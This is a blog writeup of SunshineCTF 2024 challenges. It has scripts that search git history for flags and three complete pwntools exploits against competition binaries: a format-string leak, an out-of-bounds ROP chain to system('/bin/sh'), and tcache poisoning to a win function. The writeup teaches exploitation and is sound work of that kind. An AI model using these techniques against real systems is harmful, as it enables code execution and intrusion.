SunshineCTF 2024 writeup-by.naup96321

2024-10-22

SunshineCTF 2024 writeup-by.naup96321

Author: 堇姬Naup
WAN - r.k.10

This is myself some solve script and easy writeup. Just record some questions

My solve list

image
image

My team score board

image
image

Scripting

This catagory challenge give you one git bundle
Use

1
git clone <git bundle> <folder path>

can get git.

Guessy Programmer 0

Just one file which have many many sun...,just use regex find sun\{.*?\} and then we will get flag.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re

def check(file_path):
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()

pattern = r'sun\{.*?\}'
match = re.search(pattern, content)

if match:
print(f"{match.group()}")
else:
print("error")

file = 'adventure_novel.txt'
check(file)

Guessy Programmer 1

It has many many git commit history and all commit have file(adventure_novel_2.txt) which have many sun... words.

First, I write git log to log.txt.
And then fetch all commit history and git show .
Final, using regex filter sun\{.*?\}

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import subprocess
import re

def commits(log):
commits = []
with open(log, 'r') as f:
for line in f:
if line.startswith("commit"):
commits.append(line.split()[1])
return commits

def match(commit, file_path):
try:
file_content = subprocess.check_output(
['git', 'show', f'{commit}:{file_path}'],
stderr=subprocess.STDOUT
).decode('utf-8')

pattern = r'sun\{.*?\}'
aa = re.findall(pattern, file_content)

return aa
except:
return None

def main(log, file):
commit = commits(log)
for commit in commits:
aa = match(commit, file)
if aa:
for match in aa:
print(f"{commit}: {match}")

log = 'log.txt'
file = 'adventure_novel_2.txt'
main(log, file)

Guessy Programmer 2

Add some base64 confuse my regex.
I add [A-Za-z0-9+/=]{20,} . If it may base64 word, it will be decoded.
Last part same as Guessy Programmer 1.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import subprocess
import re
import base64

def get_commits(log_file):
commits = []
with open(log_file, 'r') as f:
for line in f:
if line.startswith("commit"):
commits.append(line.split()[1])
return commits

def decode_base64_if_needed(content):
try:
decoded_content = base64.b64decode(content).decode('utf-8')
return decoded_content
except (base64.binascii.Error, UnicodeDecodeError):

return None

def check_pattern_in_commit(commit, file_path):
try:
file_content = subprocess.check_output(
['git', 'show', f'{commit}:{file_path}'],
stderr=subprocess.STDOUT
).decode('utf-8')

pattern = r'sun\{.*?\}'
matches = re.findall(pattern, file_content)

base64_pattern = r'[A-Za-z0-9+/=]{20,}'
base64_matches = re.findall(base64_pattern, file_content)

for b64_string in base64_matches:
decoded_content = decode_base64_if_needed(b64_string)
if decoded_content:
matches += re.findall(pattern, decoded_content)

return matches
except subprocess.CalledProcessError:
return None

def main(log_file, file_path):
commits = get_commits(log_file)
for commit in commits:
matches = check_pattern_in_commit(commit, file_path)
if matches:
for match in matches:
print(f"{commit}: {match}")

log_file = 'log.txt'
file_path = 'adventure_novel_2.txt'
main(log_file, file_path)

Guessy Programmer 3

It is .gif.
but if i cat .git, it has flag(base64 or not)
Use .sh fetch all commit git’s word.
Last part same as Guessy Programmer 1.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
> a.txt

commits=$(grep -oP '(?<=commit )\w+' log.txt)


for commit in $commits; do

git show "$commit:adventure_novel_3.gif" >> a.txt 2>/dev/null
if [ $? -ne 0 ]; then
echo "$commit no have adventure_novel_3.gif" >> a.txt
else
echo "$commit" >> a.txt
fi
done

echo "success"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import subprocess
import re
import base64

def decode_base64_if_needed(content):
try:
decoded_content = base64.b64decode(content).decode('utf-8')
return decoded_content
except (base64.binascii.Error, UnicodeDecodeError):

return None

with open('a.txt', 'r', encoding='utf-8') as file:
content = file.read()

file_content = content
pattern = r'sun\{.*?\}'
matches = re.findall(pattern, file_content)

base64_pattern = r'[A-Za-z0-9+/=]{20,}'
base64_matches = re.findall(base64_pattern, file_content)

for b64_string in base64_matches:
decoded_content = decode_base64_if_needed(b64_string)
if decoded_content:
matches += re.findall(pattern, decoded_content)

print(matches)

Pwn

This is my CTF templates, you can give my repo one star!!! if you like.
https://github.com/Naupjjin/MyCTFLib.git

Flag Shop

buffer overflow and use fmt read flag pointer(on stack) to screen.
buffer overflow can write isadmin, and then bypass admin panel’s if.
%9$s -> rsp + 0x18(flag pointer) -> flag

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./workshop')
debug_init()

else:
REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24001")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0xffff')

### exploit

sla(b'\n',b'a')
sla(b'\n',b'b')
sla(b'\n',b'1'+b'a'*0xa+b'%9$s'+b'a'*0xe)

### interactive
ita()

Adventure! On the High C!

glibc 2.39

We can look this, we can input row and column and then enter this place.

1
2
3
4
5
6
printf(
"<<< Fired outside board, corrupting %p from %02x to %02x!",
&enemy_board[16 * row_input + column_input],
*(&savedregs + 16 * row_input + column_input - 528),
choice);
*(&savedregs + 16 * row_input + column_input - 528) = choice;

It have filter your input, but still print and write wrong index. It is oob read and oob write

1
2
3
4
_BOOL8 __fastcall filter_row_column(unsigned int a1, unsigned int a2)
{
return a1 <= 0xF && a2 <= 0xF;
}

oob read and oob write can leak PIE, write /bin/sh\x00, and write ROP to ret address
pop rdi + /bin/sh address + ret + system plt (offset you can use 16 * row + column to caculate)

1
__int64 savedregs; // [rsp+220h] [rbp+0h] BYREF

script

remote can work, but local don’t work. so strange

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
import os

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./ship')
debug_init()

else:
REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24003")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


def attack(row, column,ascii):
sla(b'Enter the row (0-9, a-f) >>> ',str(row).encode())
sla(b'Enter the column (0-9, a-f) >>> ',str(column).encode())
sla(b'Choose missile type - Tomahawk (T), Hellfire (H), SideWinder (S), Custom (C) >>> ', b'C')
sla(b'Enter a custom missile as a single ASCII character >>> ',ascii)

### exploit

leakPIE = 0
for i in range(0,6):
if REMOTE_LOCAL == 'y':
attack(37,8+i,b'a')
else:
attack(35,8+i,b'a')
rcu(b'from ')
leakPIE += int(rcl()[:2],16) << i*8

PIEbase = leakPIE - 0x1437

pop_rdi = PIEbase + 0x1754
system_plt = PIEbase + 0x1060
ret = pop_rdi + 0x1

attack(0,20,b'a')
rcu(b'<<< Fired outside board, corrupting ')
leakstack = int(rcl()[:14],16)

# os.system('echo '+hex(leakstack)+'> a.txt') # use debug

binsh = "/bin/sh\x00"
for i in range(len(binsh)):
attack(0, 1+i, binsh[i])

binsh_addr = leakstack - 19

# n * row + column
for i in range(6):
attack(33,8+i,(pop_rdi >> (i * 8) & 0xff).to_bytes(1, byteorder='big'))
attack(33,14,b'\x00')
attack(33,15,b'\x00')

print('**success write pop rdi**')

for i in range(6):
attack(34,i,(binsh_addr >> (i * 8) & 0xff).to_bytes(1, byteorder='big'))

attack(34,6,b'\x00')
attack(34,7,b'\x00')

print('**success write /bin/sh**')

for i in range(6):
attack(34, i+8 , (ret >> (i * 8) & 0xff).to_bytes(1, byteorder='big'))

attack(34,14,b'\x00')
attack(34,15,b'\x00')

print('**success write ret**')

for i in range(6):
attack(35,i,(system_plt >> (i * 8) & 0xff).to_bytes(1, byteorder='big'))

attack(35,6,b'\x00')
attack(35,7,b'\x00')

print('**success write system**')

# trigger ret address
attack(32,12,b'a')

NAUPINFO('LEAKPIE',hex(leakPIE))
NAUPINFO('PIE BASE',hex(PIEbase))
print(leakstack)
### interactive
ita()

heap01

glibc 2.35
It has oob on heap(two times).

1
2
3
4
5
6
7
8
9
puts("Index: ");
inp = get_inp();
puts("Value: ");
v2[inp] = get_inp();
puts("The chunk is still hungry... let's fill it up some more!\n");
puts("Index: ");
v4 = get_inp();
puts("Value: ");
v2[v4] = get_inp();

We can write tcache_pthread_struct.
write tcache entry to stack(the binary give me stack) and tcache count(Must same as tcache entry size).

1
tcache entry[1] -> stack address on ret address

when malloc chunk, we will get fake chunk on stack.
write ret address to win function

1
2
3
4
5
6
7
v5 = malloc(size); // malloc stack
puts("Value 1: "); // write old rbp
*v5 = get_inp();
puts("Value 2 - "); // write ret address to win
v5[1] = get_inp();
puts("Value 3 -> ");
v5[2] = get_inp();

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
rom pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./heap01')
debug_init()

else:
REMOTE_INFO=split_nc("nc 2024.sunshinectf.games 24006")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### exploit
win_address = 0x40126b

sla(b'Do you want a leak? ',b'a')
leak_stack = int(rcls(2)[1],16)

sla(b'Enter chunk size: ',b'48')
sla(b'Index: ',b'-578')

print(str(leak_stack))
sla(b'Value: ',str(leak_stack+0x20))

sla(b'Index: ',b'-596')
sla(b'Value: ',b'281479271743489')

sla(b'Value 1: ',str(win_address+0x5))
sla(b'Value 2 - ',str(win_address+0x5))
sla(b'Value 3 -> ',str(win_address+0x5))
NAUPINFO('LEAK STACK',hex(leak_stack))

### interactive
ita()

after

Last year, Aukro, WH, and I played our first CTF together, starting with SunshineCTF 2023. We stayed up late solving challenges, and the most memorable one was extracting a git bundle, which we worked on until the middle of the night. After all the discussions, we finally finished in 76th place.

A year later, we came back to SunshineCTF. After clearing the scripting challenges, I play with Aukro on pwn (as a weber, I spent the whole time watching pwn, haha). We managed to solve 3 out of 6 pwn challenges and finished all pwn challenge with Aukro.

WAN ended up taking 10th place, marking my first top 10 finish on CTFtime. This also brought back the pure joy I once felt playing CTFs.

I really love that feeling in CTFs where everyone works together, stays up late solving challenges, and cheers when we finally solve them. It feels like staying up late playing video games, lol.

In the future, I’ll keep walking down the path of cybersecurity and CTFs. Thanks to WAN, CakeisTheFake, and all the partners I’ve studied cybersecurity with, as well as the seniors who taught me so much.